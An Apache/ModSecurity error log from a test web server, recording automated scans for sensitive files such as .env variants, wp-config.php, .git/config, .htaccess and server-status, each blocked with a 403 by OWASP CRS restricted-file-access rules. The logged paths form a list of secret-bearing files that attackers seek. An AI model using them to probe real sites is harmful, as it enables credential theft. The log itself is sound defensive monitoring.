[Sat Dec 20 04:08:39.250468 2025] [:error] [pid 856676] [client 193.200.229.243:47538] [client 193.200.229.243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0KhKgor0VKOBDR_8U6.htaccess"] [unique_id "aUYTN2etN_MHWIowB3WUCAAAAAI"]
[Sat Dec 20 04:08:39.250613 2025] [:error] [pid 856676] [client 193.200.229.243:47538] [client 193.200.229.243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/0KhKgor0VKOBDR_8U6.htaccess"] [unique_id "aUYTN2etN_MHWIowB3WUCAAAAAI"]
[Sat Dec 20 04:08:39.808577 2025] [:error] [pid 857290] [client 193.200.229.243:47548] [client 193.200.229.243] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /ck6_j5hgm5al2ynyrgu.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CK6_J5hGM5aL2YnyRGU.htaccess"] [unique_id "aUYTNybsPSl6AuAMnb6oAgAAAA0"]
[Sat Dec 20 04:08:39.808872 2025] [:error] [pid 857290] [client 193.200.229.243:47548] [client 193.200.229.243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CK6_J5hGM5aL2YnyRGU.htaccess"] [unique_id "aUYTNybsPSl6AuAMnb6oAgAAAA0"]
[Sat Dec 20 04:08:39.809035 2025] [:error] [pid 857290] [client 193.200.229.243:47548] [client 193.200.229.243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/CK6_J5hGM5aL2YnyRGU.htaccess"] [unique_id "aUYTNybsPSl6AuAMnb6oAgAAAA0"]
[Sat Dec 20 04:08:40.437261 2025] [authz_core:error] [pid 856675] [client 193.200.229.243:47564] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sat Dec 20 04:10:43.358137 2025] [:error] [pid 857289] [client 185.181.61.203:40886] [client 185.181.61.203] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aUYTs0cesDQvflsX-zh48AAAAAw"]
[Sat Dec 20 04:10:43.358520 2025] [:error] [pid 857289] [client 185.181.61.203:40886] [client 185.181.61.203] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aUYTs0cesDQvflsX-zh48AAAAAw"]
[Sat Dec 20 04:10:43.358690 2025] [:error] [pid 857289] [client 185.181.61.203:40886] [client 185.181.61.203] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aUYTs0cesDQvflsX-zh48AAAAAw"]
[Sat Dec 20 04:13:14.164827 2025] [authz_core:error] [pid 857290] [client 185.243.218.226:48888] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Sat Dec 20 04:14:09.417608 2025] [:error] [pid 856675] [client 185.243.218.225:54222] [client 185.243.218.225] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aUYUgUIfITGY54M_SoBvKwAAAAE"]
[Sat Dec 20 04:14:09.417927 2025] [:error] [pid 856675] [client 185.243.218.225:54222] [client 185.243.218.225] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aUYUgUIfITGY54M_SoBvKwAAAAE"]
[Sat Dec 20 04:14:09.418096 2025] [:error] [pid 856675] [client 185.243.218.225:54222] [client 185.243.218.225] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aUYUgUIfITGY54M_SoBvKwAAAAE"]
[Sat Dec 20 04:14:16.230065 2025] [:error] [pid 857289] [client 185.243.218.230:55356] [client 185.243.218.230] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aUYUiEcesDQvflsX-zh5EgAAAAw"]
[Sat Dec 20 04:14:16.230388 2025] [:error] [pid 857289] [client 185.243.218.230:55356] [client 185.243.218.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aUYUiEcesDQvflsX-zh5EgAAAAw"]
[Sat Dec 20 04:14:16.230547 2025] [:error] [pid 857289] [client 185.243.218.230:55356] [client 185.243.218.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aUYUiEcesDQvflsX-zh5EgAAAAw"]
[Sat Dec 20 07:18:29.320284 2025] [authz_core:error] [pid 856675] [client 206.189.19.19:51268] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Dec 20 07:18:32.321018 2025] [:error] [pid 857287] [client 206.189.19.19:51294] [client 206.189.19.19] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUY_uD8tfwrk48OAesWKRwAAAAo"]
[Sat Dec 20 07:18:32.321249 2025] [:error] [pid 857287] [client 206.189.19.19:51294] [client 206.189.19.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUY_uD8tfwrk48OAesWKRwAAAAo"]
[Sat Dec 20 07:18:32.321417 2025] [:error] [pid 857287] [client 206.189.19.19:51294] [client 206.189.19.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUY_uD8tfwrk48OAesWKRwAAAAo"]
[Sat Dec 20 07:18:33.335151 2025] [:error] [pid 857293] [client 206.189.19.19:51298] [client 206.189.19.19] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUY_uYwzYS-2Oqd5dh3-uQAAABA"]
[Sat Dec 20 07:18:33.335400 2025] [:error] [pid 857293] [client 206.189.19.19:51298] [client 206.189.19.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUY_uYwzYS-2Oqd5dh3-uQAAABA"]
[Sat Dec 20 07:18:33.335565 2025] [:error] [pid 857293] [client 206.189.19.19:51298] [client 206.189.19.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUY_uYwzYS-2Oqd5dh3-uQAAABA"]
[Sat Dec 20 07:18:35.331815 2025] [:error] [pid 857289] [client 206.189.19.19:51314] [client 206.189.19.19] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUY_u0cesDQvflsX-zh5PwAAAAw"]
[Sat Dec 20 07:18:35.332044 2025] [:error] [pid 857289] [client 206.189.19.19:51314] [client 206.189.19.19] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUY_u0cesDQvflsX-zh5PwAAAAw"]
[Sat Dec 20 07:18:35.332198 2025] [:error] [pid 857289] [client 206.189.19.19:51314] [client 206.189.19.19] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUY_u0cesDQvflsX-zh5PwAAAAw"]
[Sat Dec 20 08:25:36.889806 2025] [authz_core:error] [pid 856674] [client 146.190.63.48:41744] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Dec 20 08:25:39.873019 2025] [:error] [pid 856676] [client 146.190.63.48:60034] [client 146.190.63.48] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUZPc2etN_MHWIowB3WUdAAAAAI"]
[Sat Dec 20 08:25:39.873241 2025] [:error] [pid 856676] [client 146.190.63.48:60034] [client 146.190.63.48] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUZPc2etN_MHWIowB3WUdAAAAAI"]
[Sat Dec 20 08:25:39.873400 2025] [:error] [pid 856676] [client 146.190.63.48:60034] [client 146.190.63.48] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUZPc2etN_MHWIowB3WUdAAAAAI"]
[Sat Dec 20 08:25:40.899619 2025] [:error] [pid 856675] [client 146.190.63.48:60038] [client 146.190.63.48] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUZPdEIfITGY54M_SoBvYgAAAAE"]
[Sat Dec 20 08:25:40.899863 2025] [:error] [pid 856675] [client 146.190.63.48:60038] [client 146.190.63.48] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUZPdEIfITGY54M_SoBvYgAAAAE"]
[Sat Dec 20 08:25:40.900026 2025] [:error] [pid 856675] [client 146.190.63.48:60038] [client 146.190.63.48] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUZPdEIfITGY54M_SoBvYgAAAAE"]
[Sat Dec 20 08:25:42.899412 2025] [:error] [pid 857287] [client 146.190.63.48:60052] [client 146.190.63.48] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUZPdj8tfwrk48OAesWKXQAAAAo"]
[Sat Dec 20 08:25:42.899645 2025] [:error] [pid 857287] [client 146.190.63.48:60052] [client 146.190.63.48] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUZPdj8tfwrk48OAesWKXQAAAAo"]
[Sat Dec 20 08:25:42.899803 2025] [:error] [pid 857287] [client 146.190.63.48:60052] [client 146.190.63.48] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUZPdj8tfwrk48OAesWKXQAAAAo"]
[Sat Dec 20 15:26:16.775911 2025] [:error] [pid 857287] [client 195.178.110.160:37420] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUayCD8tfwrk48OAesWKhAAAAAo"]
[Sat Dec 20 15:26:16.776191 2025] [:error] [pid 857287] [client 195.178.110.160:37420] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUayCD8tfwrk48OAesWKhAAAAAo"]
[Sat Dec 20 15:26:16.776382 2025] [:error] [pid 857287] [client 195.178.110.160:37420] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUayCD8tfwrk48OAesWKhAAAAAo"]
[Sat Dec 20 15:26:16.986672 2025] [:error] [pid 857289] [client 195.178.110.160:37432] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aUayCEcesDQvflsX-zh5egAAAAw"]
[Sat Dec 20 15:26:16.986905 2025] [:error] [pid 857289] [client 195.178.110.160:37432] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aUayCEcesDQvflsX-zh5egAAAAw"]
[Sat Dec 20 15:26:16.987062 2025] [:error] [pid 857289] [client 195.178.110.160:37432] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aUayCEcesDQvflsX-zh5egAAAAw"]
[Sat Dec 20 15:26:17.193531 2025] [:error] [pid 864003] [client 195.178.110.160:37448] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aUayCSMOV_UYl9flnZ20XwAAAA8"]
